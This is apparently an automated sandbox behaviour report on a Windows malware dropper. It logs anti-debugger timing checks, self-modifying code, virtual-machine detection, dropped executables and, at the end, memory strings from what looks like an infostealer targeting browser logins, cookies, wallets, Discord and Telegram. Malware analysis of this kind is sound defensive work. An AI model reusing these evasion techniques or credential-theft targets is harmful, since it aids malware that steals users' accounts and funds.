Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B08AD second address: 57B093F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD1DCB3F654h 0x00000011 adc eax, 4E21E358h 0x00000017 jmp 00007FD1DCB3F64Bh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FD1DCB3F658h 0x00000023 or si, EDB8h 0x00000028 jmp 00007FD1DCB3F64Bh 0x0000002d popfd 0x0000002e popad 0x0000002f jmp 00007FD1DCB3F658h 0x00000034 popad 0x00000035 mov dword ptr [esp], ebp 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FD1DCB3F657h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B093F second address: 57B0968 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD1DD1E6C9Fh 0x00000009 jmp 00007FD1DD1E6CA3h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57501AF second address: 575021D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F64Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD1DCB3F650h 0x0000000f push eax 0x00000010 jmp 00007FD1DCB3F64Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FD1DCB3F64Bh 0x0000001f xor ax, 026Eh 0x00000024 jmp 00007FD1DCB3F659h 0x00000029 popfd 0x0000002a call 00007FD1DCB3F650h 0x0000002f pop esi 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0CA2 second address: 57B0CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0CA8 second address: 57B0CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0CAD second address: 57B0CD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD1DD1E6C9Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0CD6 second address: 57B0CDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0CDC second address: 57B0CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DD1E6C9Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0CED second address: 57B0D33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FD1DCB3F651h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD1DCB3F658h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0D33 second address: 57B0D37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0D37 second address: 57B0D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0D3D second address: 57B0D5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ch, bh 0x00000010 mov ecx, 55123475h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0D5C second address: 57B0D62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0D62 second address: 57B0D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0DE5 second address: 57B0DEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760560 second address: 5760566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760566 second address: 57605A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 1D4ED769h 0x0000000d jmp 00007FD1DCB3F657h 0x00000012 xor dword ptr [esp], 6BB71771h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FD1DCB3F650h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57605A5 second address: 57605A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57605A9 second address: 57605AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57605AF second address: 57605B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57605B5 second address: 57605B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57605B9 second address: 57605BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57605BD second address: 576060E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FD1DCB3F649h 0x0000000d jmp 00007FD1DCB3F654h 0x00000012 push eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FD1DCB3F64Ch 0x0000001a adc esi, 1A2D7038h 0x00000020 jmp 00007FD1DCB3F64Bh 0x00000025 popfd 0x00000026 popad 0x00000027 mov eax, dword ptr [esp+04h] 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576060E second address: 5760612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760612 second address: 5760618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760618 second address: 576061E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576061E second address: 5760622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760622 second address: 5760626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760626 second address: 5760686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD1DCB3F650h 0x00000011 or cl, FFFFFFC8h 0x00000014 jmp 00007FD1DCB3F64Bh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007FD1DCB3F658h 0x00000020 xor ch, 00000028h 0x00000023 jmp 00007FD1DCB3F64Bh 0x00000028 popfd 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov dh, cl 0x00000033 push edx 0x00000034 pop ecx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760686 second address: 57606D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007FD1DD1E6CA0h 0x0000000f mov eax, dword ptr fs:[00000000h] 0x00000015 jmp 00007FD1DD1E6CA0h 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57606D0 second address: 57606D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57606D4 second address: 57606F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57606F1 second address: 5760701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DCB3F64Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760701 second address: 5760705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760705 second address: 5760722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD1DCB3F64Eh 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760722 second address: 5760727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760727 second address: 5760751 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F64Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD1DCB3F650h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760751 second address: 5760755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760755 second address: 576075B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576075B second address: 57607B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FD1DD1E6CA0h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FD1DD1E6CA1h 0x00000017 xor cl, 00000036h 0x0000001a jmp 00007FD1DD1E6CA1h 0x0000001f popfd 0x00000020 mov ecx, 21DC6F27h 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push edx 0x0000002b pop esi 0x0000002c mov ecx, ebx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57607B6 second address: 57607BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57607BC second address: 57607C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57607C0 second address: 57607EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F656h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FD1DCB3F64Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57607EF second address: 57607F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57607F4 second address: 5760849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F657h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov edi, 329BF43Ah 0x00000010 pushfd 0x00000011 jmp 00007FD1DCB3F64Bh 0x00000016 add esi, 4EDF63DEh 0x0000001c jmp 00007FD1DCB3F659h 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5760849 second address: 5760850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edi 0x00000006 popad 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1151600 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 114FDE9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11E266D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 231600 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 22FDE9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2C266D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Special instruction interceptor: First address: 825C1E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Special instruction interceptor: First address: 825B52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Special instruction interceptor: First address: 9E3C8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Special instruction interceptor: First address: A65B73 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_057B0C9B rdtsc

0_2_057B0C9B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1363	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1362	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1198	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1242	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5867
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 895
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4214
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2568

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\dll[1]	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\N4e26fwGw3w\Bunifu_UI_v1.5.3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6112	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6112	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3468	Thread sleep count: 1363 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3468	Thread sleep time: -2727363s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2132	Thread sleep count: 300 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2132	Thread sleep time: -9000000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3568	Thread sleep count: 1362 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3568	Thread sleep time: -2725362s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3448	Thread sleep count: 1198 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3448	Thread sleep time: -2397198s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5244	Thread sleep count: 1242 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5244	Thread sleep time: -2485242s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe TID: 7812	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe TID: 7476	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe TID: 7480	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe TID: 7460	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1072	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2476	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2252	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe TID: 8140	Thread sleep time: -90000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe TID: 5184	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior

Source: file.exe, 00000000.00000000.1706315091.0000000001134000.00000080.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000001.00000000.1724643037.0000000000214000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000000.1735737062.0000000000214000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000001.2300884121.0000000000214000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000000.2300616823.0000000000214000.00000080.00000001.01000000.00000007.sdmp, 8ef456fdd1.exe, 00000009.00000002.2967776824.00000000009B3000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: d6cdb1061b.exe, 00000029.00000002.2967658282.0000000000400000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 12.1e411cf62bcba04d74fc6b505b9235404INSERT_KEY_HEREGetProcALoadLibrlstrcatAOpenEvenCreateEvCloseHanVirtualAllocExNuVirtualFGetSysteVirtualAHeapAlloGetComputerNameAlstrcpyAGetProceGetCurrentProceslstrlenAExitProcSystemTimeToFileadvapi32gdi32.dluser32.dcrypt32.ntdll.dlGetUserNCreateDCGetDevicReleaseDVMwareVMJohnDoe%hu/%hu/GetEnvironmentVariableAGetFileAttributeGlobalLoHeapFreeGetFileSGlobalSiIsWow64PProcess3GetLocalFreeLibrGetTimeZoneInforGetSystemPowerStGetWindowsDirectGetModuleFileNamDeleteFiFindNextLocalFreFindClosSetEnvironmentVaLocalAllReadFileSetFilePWriteFilCreateFiFindFirsCopyFileVirtualPGetLastElstrcpynMultiByteToWideCGlobalFrWideCharToMultiBGlobalAlOpenProcTerminateProcessgdiplus.ole32.dlbcrypt.dwininet.shlwapi.shell32.psapi.dlrstrtmgrCreateCompatibleSelectObDeleteObGdiplusSGdiplusShutdownGdipSaveImageToSGdipDisposeImageGdipFreeGetHGlobalFromStCreateStreamOnHGCoUninitCoInitiaCoCreateInstanceBCryptDeBCryptSetPropertBCryptDestroyKeyGetWindoGetDesktopWindowCloseWinwsprintfEnumDisplayDevicGetKeyboardLayouCharToOeRegQueryValueExARegEnumKRegOpenKRegCloseRegEnumVCryptBinaryToStrSHGetFolderPathAShellExecuteExAInternetOpenUrlAInternetConnectAInternetCloseHanInternetHttpSendRequestAHttpOpenRequestAInternetReadFileInternetCrackUrlStrCmpCAStrStrAStrCmpCWPathMatcRmStartSRmRegisterResourRmGetLisRmEndSessqlite3_sqlite3_prepare_sqlite3_column_tsqlite3_finalizesqlite3_column_bencrypteNSS_InitNSS_ShutPK11_GetInternalKeySlotPK11_FrePK11_AuthenticatPK11SDR_DecryptC:\ProgramData\profile:Login: PasswordOperaGXNetworkCookiesAutofillHistoryMonth: Login DaWeb Datalogins.jformSubmusernameencryptedUsernamencryptedPassworcookies.places.sPluginsSync Extension SettingsIndexedDOpera StOpera GX StableCURRENTchrome-extension_0.indexeddb.levLocal StprofilesfirefoxWallets%08lX%04ProductN%d/%d/%d %d:%d:%DisplayNDisplayVfreebl3.mozglue.msvcp140nss3.dllsoftokn3vcruntime140.dll/c start%DESKTOP%APPDATA%LOCALAP%USERPRO%DOCUMEN%PROGRAM%PROGRAMFILES_86%RECENT%\discord\Local Storage\l\Telegram Desktokey_dataD877F783D5D3EF8CA7FDF864FBC10B77A92DAA6EA6F891F2F8806DD0C461824FTelegram\.purpleaccountsdQw4w9Wgtoken: 